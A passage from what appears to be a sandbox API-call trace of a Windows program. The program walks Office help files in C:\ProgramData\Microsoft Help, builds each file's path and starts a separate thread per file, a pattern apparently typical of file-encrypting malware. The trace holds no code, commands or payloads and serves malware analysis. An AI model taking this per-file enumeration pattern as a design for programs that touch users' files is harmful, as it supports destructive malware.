ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="MSMSAC~2.HXN")) returned 1 [0141.811] wcscmp (_String1="MS.MSACCESS.DEV.14.1033.hxn", _String2=".") returned 1 [0141.811] wcscmp (_String1="MS.MSACCESS.DEV.14.1033.hxn", _String2="..") returned 1 [0141.811] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x99ce88 [0141.812] wcscpy (in: _Dest=0x99ce88, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.812] wcscat (in: _Dest=0x99ce88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.812] wcscat (in: _Dest=0x99ce88, _Source="MS.MSACCESS.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" [0141.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99ce88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0141.813] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0141.813] wcscmp (_String1="MS.MSOUC.14.1033.hxn", _String2=".") returned 1 [0141.813] wcscmp (_String1="MS.MSOUC.14.1033.hxn", _String2="..") returned 1 [0141.813] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1608 [0141.813] wcscpy (in: _Dest=0x8f1608, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.813] wcscat (in: _Dest=0x8f1608, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.813] wcscat (in: _Dest=0x8f1608, _Source="MS.MSOUC.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" [0141.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0141.814] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0141.814] wcscmp (_String1="MS.MSPUB.14.1033.hxn", _String2=".") returned 1 [0141.814] wcscmp (_String1="MS.MSPUB.14.1033.hxn", _String2="..") returned 1 [0141.814] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x93cda8 [0141.814] wcscpy (in: _Dest=0x93cda8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.814] wcscat (in: _Dest=0x93cda8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.814] wcscat (in: _Dest=0x93cda8, _Source="MS.MSPUB.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" [0141.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0141.815] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="MSMSPU~2.HXN")) returned 1 [0141.815] wcscmp (_String1="MS.MSPUB.DEV.14.1033.hxn", _String2=".") returned 1 [0141.815] wcscmp (_String1="MS.MSPUB.DEV.14.1033.hxn", _String2="..") returned 1 [0141.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8da0 [0141.815] wcscpy (in: _Dest=0x8e8da0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.815] wcscat (in: _Dest=0x8e8da0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.815] wcscat (in: _Dest=0x8e8da0, _Source="MS.MSPUB.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" [0141.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0141.817] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="MSMSTO~1.HXN")) returned 1 [0141.817] wcscmp (_String1="MS.MSTORE.14.1033.hxn", _String2=".") returned 1 [0141.817] wcscmp (_String1="MS.MSTORE.14.1033.hxn", _String2="..") returned 1 [0141.817] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x93ce18 [0141.817] wcscpy (in: _Dest=0x93ce18, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.817] wcscat (in: _Dest=0x93ce18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.817] wcscat (in: _Dest=0x93ce18, _Source="MS.MSTORE.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" [0141.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ce18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0141.818] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="MSOIS1~1.HXN")) returned 1 [0141.818] wcscmp (_String1="MS.OIS.14.1033.hxn", _String2=".") returned 1 [0141.818] wcscmp (_String1="MS.OIS.14.1033.hxn", _String2="..") returned 1 [0141.818] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x93ce88 [0141.818] wcscpy (in: _Dest=0x93ce88, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.818] wcscat (in: _Dest=0x93ce88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.818] wcscat (in: _Dest=0x93ce88, _Source="MS.OIS.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" [0141.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ce88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0141.820] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0141.820] wcscmp (_String1="MS.ONENOTE.14.1033.hxn", _String2=".") returned 1 [0141.820] wcscmp (_String1="MS.ONENOTE.14.1033.hxn", _String2="..") returned 1 [0141.820] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e9430 [0141.820] wcscpy (in: _Dest=0x8e9430, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.820] wcscat (in: _Dest=0x8e9430, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.820] wcscat (in: _Dest=0x8e9430, _Source="MS.ONENOTE.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" [0141.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0141.821] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0141.821] wcscmp (_String1="MS.OUTLOOK.14.1033.hxn", _String2=".") returned 1 [0141.821] wcscmp (_String1="MS.OUTLOOK.14.1033.hxn", _String2="..") returned 1 [0141.821] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8ff8 [0141.821] wcscpy (in: _Dest=0x8e8ff8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.821] wcscat (in: _Dest=0x8e8ff8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.821] wcscat (in: _Dest=0x8e8ff8, _Source="MS.OUTLOOK.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" [0141.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0141.823] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="MSOUTL~2.HXN")) returned 1 [0141.823] wcscmp (_String1="MS.OUTLOOK.DEV.14.1033.hxn", _String2=".") returned 1 [0141.823] wcscmp (_String1="MS.OUTLOOK.DEV.14.1033.hxn", _String2="..") returned 1 [0141.823] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x99d008 [0141.823] wcscpy (in: _Dest=0x99d008, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.823] wcscat (in: _Dest=0x99d008, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.823] wcscat (in: _Dest=0x99d008, _Source="MS.OUTLOOK.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" [0141.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99d008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0141.824] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0141.824] wcscmp (_String1="MS.POWERPNT.14.1033.hxn", _String2=".") returned 1 [0141.824] wcscmp (_String1="MS.POWERPNT.14.1033.hxn", _String2="..") returned 1 [0141.825] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8788 [0141.825] wcscpy (in: _Dest=0x8e8788, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.825] wcscat (in: _Dest=0x8e8788, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.825] wcscat (in: _Dest=0x8e8788, _Source="MS.POWERPNT.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" [0141.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0141.826] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="MSPOWE~2.HXN")) returned 1 [0141.826] wcscmp (_String1="MS.POWERPNT.DEV.14.1033.hxn", _String2=".") returned 1 [0141.826] wcscmp (_String1="MS.POWERPNT.DEV.14.1033.hxn", _String2="..") returned 1 [0141.826] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x99d088 [0141.826] wcscpy (in: _Dest=0x99d088, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.826] wcscat (in: _Dest=0x99d088, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.826] wcscat (in: _Dest=0x99d088, _Source="MS.POWERPNT.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" [0141.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99d088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0141.827] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0141.827] wcscmp (_String1="MS.SETLANG.14.1033.hxn", _String2=".") returned 1 [0141.827] wcscmp (_String1="MS.SETLANG.14.1033.hxn", _String2="..") returned 1 [0141.828] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e88f0 [0141.828] wcscpy (in: _Dest=0x8e88f0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.828] wcscat (in: _Dest=0x8e88f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.828] wcscat (in: _Dest=0x8e88f0, _Source="MS.SETLANG.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" [0141.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e88f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0141.829] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1 [0141.829] wcscmp (_String1="MS.VISIO.14.1033.hxn", _String2=".") returned 1 [0141.829] wcscmp (_String1="MS.VISIO.14.1033.hxn", _String2="..") returned 1 [0141.829] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x93cef8 [0141.829] wcscpy (in: _Dest=0x93cef8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.829] wcscat (in: _Dest=0x93cef8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.829] wcscat (in: _Dest=0x93cef8, _Source="MS.VISIO.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" [0141.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8 [0141.830] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1 [0141.830] wcscmp (_String1="MS.VISIO.DEV.14.1033.hxn", _String2=".") returned 1 [0141.830] wcscmp (_String1="MS.VISIO.DEV.14.1033.hxn", _String2="..") returned 1 [0141.830] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8e90 [0141.830] wcscpy (in: _Dest=0x8e8e90, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.830] wcscat (in: _Dest=0x8e8e90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.830] wcscat (in: _Dest=0x8e8e90, _Source="MS.VISIO.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" [0141.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0141.834] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="MSVISI~4.HXN")) returned 1 [0141.834] wcscmp (_String1="MS.VISIO.SHAPESHEET.14.1033.hxn", _String2=".") returned 1 [0141.834] wcscmp (_String1="MS.VISIO.SHAPESHEET.14.1033.hxn", _String2="..") returned 1 [0141.834] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7ce0 [0141.834] wcscpy (in: _Dest=0x8f7ce0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.834] wcscat (in: _Dest=0x8f7ce0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.834] wcscat (in: _Dest=0x8f7ce0, _Source="MS.VISIO.SHAPESHEET.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" [0141.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0141.835] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="MSE1C9~1.HXN")) returned 1 [0141.835] wcscmp (_String1="MS.VISIO_PRM.14.1033.hxn", _String2=".") returned 1 [0141.835] wcscmp (_String1="MS.VISIO_PRM.14.1033.hxn", _String2="..") returned 1 [0141.835] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bd38 [0141.835] wcscpy (in: _Dest=0x93bd38, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.835] wcscat (in: _Dest=0x93bd38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.835] wcscat (in: _Dest=0x93bd38, _Source="MS.VISIO_PRM.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" [0141.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bd38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0141.836] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1 [0141.837] wcscmp (_String1="MS.VISIO_STD.14.1033.hxn", _String2=".") returned 1 [0141.837] wcscmp (_String1="MS.VISIO_STD.14.1033.hxn", _String2="..") returned 1 [0141.837] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) 